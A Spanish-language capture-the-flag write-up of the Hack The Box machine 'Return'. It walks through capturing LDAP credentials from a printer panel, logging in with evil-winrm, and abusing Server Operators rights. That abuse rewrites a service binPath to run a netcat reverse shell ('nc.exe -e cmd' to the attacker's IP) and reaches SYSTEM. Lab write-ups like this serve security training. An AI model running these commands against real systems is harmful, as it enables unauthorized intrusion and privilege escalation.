- 📆 Publicado el
CTF - Return WriteUp
- Autor
- Name
- Iker Ocio Zuazo
- X
- @0x10z

Estamos ante una máquina Windows. Esto es algo que deducimos una vez hacemos un Ping para comprobar la conexión que tenemos con ella.
❯ ping 10.10.11.108 -c 1
PING 10.10.11.108 (10.10.11.108) 56(124) bytes of data.
64 bytes from 10.10.11.108: icmp_seq=1 ttl=127 time=43.2 ms
En la traza ICMP observamos que el TTL es de 127. Las maquinas Windows, en general, tienen un TTL configurado de 128 mientras que las máquinas Linux suelen tener un TTL de 64. En este caso, hasta llegar a la máquina pasamos por un nodo intermediario y por eso el TLL se descuenta en 1 unidad.
Tras un primer escaneo de puertos con NMAP, aparecen muchos de ellos abiertos. Además, en Windows este tipo de escaneos se suele demorar un poco más. Una vez escaneados los puertos abiertos con TCP Syn Scan, trato de sacar el máximo de información posible utilizando scripts básicos de reconocimiento de NMAP, para ver que información nos facilita.
nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49674,49675,49679,49682,49694,59851 -sCV -v 10.10.11.108 -oN targeted
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: HTB Printer Admin Panel
135/tcp open msrpc Microsoft Windows RPC
...
Hay un portal web abierto en el puerto 80 y parece un panel de administración de impresoras. Navegando un poco por la plataforma, veo un formulario de registro.
En estos casos donde el formulario te permite introducir una IP, una buena prueba es ponerte en escucha para ver que información te envía el servidor.

Cambio la dirección IP a mi equipo y me pongo en escucha en el mismo puerto con netcat.
❯ nc -lvp 389
listening on [any] 389 ...
10.10.11.108: inverse host lookup failed: Unknown host
connect to [10.10.14.21] from (UNKNOWN) [10.10.11.108] 59872
0*`%return\svc-printer�
1edFg43012!!
Parece una contraseña. Me la guardo junto con el usuario return\svc-printer.
Además, recuerdo que el puerto RPC estaba abierto. Podría probar a conectarme con Evil-WinRM.
❯ evil-winrm -i 10.10.11.108 -u svc-printer -p '1edFg43012!!'
Evil-WinRM shell v3.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc-printer\Documents whoami
return\svc-printer
Y listo. Obtenemos la primera flag.
*Evil-WinRM* PS C:\Users\svc-printer\documents cat ../desktop/user.txt
6df0ae750542xxxxxxxxxxxxxxxxxxx
El siguiente paso es buscar un método que nos permita escalar privilegios de Administrator. En este punto, un buen comienzo es enumerar los privilegios que dispone el usuario actual.
*Evil-WinRM* PS C:\Users\svc-printer\Desktop whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= =================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeLoadDriverPrivilege Load and unload device drivers Enabled
SeSystemtimePrivilege Change the system time Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeLoadDriverPrivilege tiene vulnerabilidades conocidas que se podrían explotar, pero voy a continuar buscando información sobre los grupos a los que pertenezco.
*Evil-WinRM* PS C:\Users\svc-printer\Desktop net user svc-printer
...
Local Group Memberships *Print Operators *Remote Management Use
*Server Operators
Global Group memberships *Domain Users
The command completed successfully.
Confirmamos que estamos en el grupo de Remote Management Use (por eso podemos conectarnos con WinRM) y además pertenezco a otros grupos. Me parece interesante Server Operators porque tal y como se visualiza en la web de Microsoft, vemos que tiene capacidad de parar y ejecutar servicios.
Esto es una vulnerabilidad que se puede explotar porque los servicios son capaces de ejecutar binarios en su arranque. De esta forma, sería interesante configurar un servicio que ejecutase nc.exe con el fin de entablar una reverse shell a mi máquina atacante.
Lo primero es traer a la máquina Windows el binario nc.exe.
*Evil-WinRM* PS C:\Users\svc-printer\Desktop upload /home/iocio/Desktop/iocio/HTB/Return/content/nc.exe
Y trato de crear el nuevo servicio de Windows.
*Evil-WinRM* PS C:\Users\svc-printer\Desktop sc.exe create reverse binPath="C:\Users\svc-printer\Desktop\nc.exe -e cmd 10.10.14.21 443"
[SC] OpenSCManager FAILED 5:
Access is denied.
Parece que por alguna razón no podemos crear servicios. Vamos a intentar cambiar uno existente. Para ello, enumeramos aquellos que ya hay en ejecución.
*Evil-WinRM* PS C:\Users\svc-printer\documents services
Path Privileges Service
---- ---------- -------
C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe True ADWS
\??\C:\ProgramData\Microsoft\Windows Defender\Definition Updates\{5533AFC7-64B3-4F6E-B453-E35320B35716}\MpKslDrv.sys True MpKslceeb2796
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\SMSvcHost.exe True NetTcpPortSharing
C:\Windows\SysWow64\perfhost.exe True PerfHost
"C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe" False Sense
C:\Windows\servicing\TrustedInstaller.exe False TrustedInstaller
"C:\Program Files\VMware\VMware Tools\VMware VGAuth\VGAuthService.exe" True VGAuthService
"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" True VMTools
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\NisSrv.exe" True WdNisSvc
"C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2104.14-0\MsMpEng.exe" True WinDefend
"C:\Program Files\Windows Media Player\wmpnetwk.exe" False WMPNetworkSvc
Tras probar a cambiar varios y ver que no me permite modificarlos, doy con uno que sí.
*Evil-WinRM* PS C:\Users\svc-printer\Desktop sc.exe config VMTools binPath="C:\Users\svc-printer\Desktop\nc.exe -e cmd 10.10.14.21 443"
[SC] ChangeServiceConfig SUCCESS
A continuación, pongo en mi máquina netcat en escucha, paro el servicio y lo vuelvo a arrancar.
*Evil-WinRM* PS C:\Users\svc-printer\Desktop sc.exe stop VMTools
*Evil-WinRM* PS C:\Users\svc-printer\Desktop sc.exe start VMTools
Recibimos la consola por el otro lado.
C:\Windows\system32whoami
nt authority\system
C:\Windows\system32type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
f8fexxxxxxxxxxxxxxxxxxxxxxx
Obtenemos la flag y terminamos la máquina.